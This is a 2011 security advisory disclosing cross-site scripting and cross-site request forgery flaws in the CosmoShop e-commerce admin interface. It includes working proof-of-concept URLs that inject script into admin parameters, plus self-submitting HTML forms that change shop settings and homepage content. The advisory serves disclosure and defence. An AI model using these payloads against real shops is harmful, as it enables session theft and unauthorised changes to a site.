Multiple Vulnerabilities in CosmoShop

Advisory ID:HTB22878
Product:CosmoShop
Vendor:Zaunz Publishing GmbH
Vulnerable Versions:ePRO V10.05.00 and probably prior
Tested Version:ePRO V10.05.00
Advisory Publication:February 24, 2011 [without technical details]
Vendor Notification:February 24, 2011
Public Disclosure:March 10, 2011
Latest Update:March 4, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CosmoShop which can be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in CosmoShop
1.1 The vulnerability exists due to input sanitation error in the "rcopy" parameter in cgi-bin/admin/rubrikadmin.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
http://host/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy= "><script>alert(document .cookie)</script>&expand=,angebote
1.2 The vulnerability exists due to input sanitation error in the "typ" parameters in cgi-bin/admin/artikeladmin.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeite n"><script>alert(documen t.cookie)</script>&hId=daten.artikel
1.3 The vulnerability exists due to input sanitation error in the "suchbegriff" parameter in cgi-bin/admin/shophilfe_suche.cgi. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><scr ipt>alert(document.cooki e)</script>

2) Cross-site request forgery (CSRF) vulnerabilities in CosmoShop
2.1 The vulnerability exists due to insufficient validation of the request origin in cgi-bin/admin/setup_edit.cgi. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "hauptwaehrung" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/cgi-bin/admin/setup_edit.cgi" method="post" name="main">
<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">
<input type="hidden" name="setup_key" value="allgemein">
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">
<input type="hidden" name="shopbetreiber" value="email@example.com">
<input type="hidden" name="shop_bestellempfaenger" value="email@example.com">
<input type="hidden" name="anfrage_mail" value="email@example.com">
<input type="hidden" name="shop_umstid" value="DE12345678">
<input type="hidden" name="shop_eg" value="1">
<input type="hidden" name="auftragszaehler" value="1">
<input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'>
<input type="hidden" name="nebenwaehrung" value="$">
<input type="hidden" name="eurofaktor" value="0.7">
<input type="hidden" name="mindestpreisdm" value="10">
<input type="hidden" name="emis_bestellempfaenger" value="">
<input type="hidden" name="afs_bestellempfaenger" value="">
<input type="hidden" name="ean_in_ausf" value="1">
<input type="hidden" name="google_verify_code" value="">
<input type="hidden" name="save_it" value="abspeichern">
</form>
<script>
document.main.submit();
</script>

2.2 The vulnerability exists due to insufficient validation of the request origin in cgi-bin/admin/setup_edit.cgi. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify homepage. Due to insufficient sanitation of input data in the "text-de" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="action" value="save">
<input type="hidden" name="use_wwe" value="1">
<input type="hidden" name="file-de" value="startseitentext_de.txt">
<input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'>
</form>
<script>
document .main.submit();
</script>

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Solution:
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References:
[1] High-Tech Bridge Advisory HTB22878 - https://www.immuniweb.com/advisory/HTB22878 - Multiple Vulnerabilities in CosmoShop
[2] CosmoShop - cosmoshop.de – CosmoShop is an e-Commerce application for online shops.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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